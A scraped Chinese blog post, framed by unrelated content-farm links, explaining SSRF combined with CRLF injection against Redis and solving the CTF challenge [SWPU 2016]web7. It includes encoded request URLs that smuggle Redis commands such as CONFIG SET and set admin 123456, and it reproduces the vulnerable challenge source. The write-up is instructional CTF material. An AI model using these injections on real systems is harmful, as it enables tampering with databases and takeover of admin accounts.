当前位置: 首页 > news >正文

常州本地网站如何做好企业推广

常州本地网站,如何做好企业推广,乐陵森木全屋定制怎么样,wordpress四级级分类目录文章目录 注入原理例题 [SWPU 2016]web7 注入原理 参考文章 应用场景是具有SSRF漏洞,结合CRLF注入 我们以redis数据库为例,当存在SSRF时我们伪造以下请求 http://127.0.0.1%0d%0aCONFIG%20SET%20dir%20%2ftmp%0d%0aCONFIG%20SET%20dbfilename%20evil%…

文章目录

    • 注入原理
    • 例题 [SWPU 2016]web7


注入原理

参考文章

应用场景是具有SSRF漏洞,结合CRLF注入
我们以redis数据库为例,当存在SSRF时我们伪造以下请求

http://127.0.0.1%0d%0aCONFIG%20SET%20dir%20%2ftmp%0d%0aCONFIG%20SET%20dbfilename%20evil%0d%0a:6379/foo

解码一下,执行过程就是将修改Redis的工作目录为 /tmp,然后修改Redis的数据库文件名为 evil,路径为默认端口的/foo

http://127.0.0.1
CONFIG SET dir /tmp
CONFIG SET dbfilename evil
:6379/foo

然后就可以执行相关操作,比如修改用户的密码
再次利用ssrf漏洞进行修改并保存

http://127.0.0.1%0d%0aset%20admin%20admin%0d%0asave%0d%0a:6379/foo

解码结果如下

http://127.0.0.1
set admin 123456
save
:6379/foo

例题 [SWPU 2016]web7

源码

#!/usr/bin/python 
# coding:utf8__author__ = 'niexinming'import cherrypy
import urllib2
import redisclass web7:@cherrypy.exposedef index(self):return "<script> window.location.href='/input';</script>"@cherrypy.exposedef input(self,url="",submit=""):file=open("index.html","r").read()reheaders=""if cherrypy.request.method=="GET":reheaders=""else:url=cherrypy.request.params["url"]submit=cherrypy.request.params["submit"]try:for x in urllib2.urlopen(url).info().headers:reheaders=reheaders+x+"<br>"except Exception,e:reheaders="错误"+str(e)for x in urllib2.urlopen(url).info().headers:reheaders=reheaders+x+"<br>"file=file.replace("<?response?>",reheaders)return file@cherrypy.exposedef login(self,password="",submit=""):pool = redis.ConnectionPool(host='127.0.0.1', port=6379)r = redis.Redis(connection_pool=pool)re=""file=open("login.html","r").read()if cherrypy.request.method=="GET":re=""else:password=cherrypy.request.params["password"]submit=cherrypy.request.params["submit"]if r.get("admin")==password:re=open("flag",'r').readline()else:re="Can't find admin:"+password+",fast fast fast....."file=file.replace("<?response?>",re)return file
cherrypy.config.update({'server.socket_host': '0.0.0.0','server.socket_port': 8080,})
cherrypy.quickstart(web7(),'/')

可以看到引入urllib2模块,题目逻辑比较清晰,就是要登录admin才能获取flag,admin的密码就在redis数据库中,然后input中使用了urllib2.open().info().headers应该是可以利用SSRF来注入redis修改admin的密码的。

我们直接修改密码(redis默认端口为6379)

http://127.0.0.1%0d%0aset%20admin%20123456%0d%0a:6379//解码如下
http://127.0.0.1
set admin 123456
:6379

在这里插入图片描述

http://www.mnyf.cn/news/36574.html

相关文章:

  • 网站制作预算软文营销经典案例优秀软文
  • 衢州做网站 thinknew百度搜索排名
  • 珠海建设工程监督站网站山西seo基础教程
  • 网站建设会出现哪些问题厦门网
  • 网站建设有掏钱么网络营销产品
  • 亳州有做网站的吗深圳网络推广推荐
  • dede网站迁移东莞全网推广
  • 北海百度seo西安优化排名推广
  • 前端如何做双语网站关键词快速排名不限行业
  • 中国黄金集团建设有限公司网站国外b站不收费免费2023
  • 网站优化及推广公司小广告公司如何起步
  • dede网站模板网站维护的主要内容
  • 厦门建网站品牌烟台百度推广公司
  • 做那个网站谷歌关键词搜索
  • 网站怎么做评论免费个人推广引流平台
  • 设计一个个人网站的具体步骤黄冈seo顾问
  • 用jsp做网站步骤企业线上培训平台
  • 网站外包优化搜索网站排行
  • 微信做模板下载网站有哪些内容网站推广的基本方法有哪些
  • 黑山网站制作公司公关公司排名
  • 网站建设初期宁波网络营销有哪些
  • 男女之间做那个的网站深圳seo公司排名
  • 长宁区网站制作怎样进行seo
  • 什么网站可以做音乐伴奏百度指数查询官网入口
  • 企业建网站品牌怎么做一个网站平台
  • java做自己的网站怎么做蛋糕
  • 东营网站建设公司seo和竞价排名的区别
  • wordpress做的网站效果6阿里巴巴官网首页
  • 网站开始怎么做的视频推广渠道有哪些
  • 建设网站的用途网站seo李守洪排名大师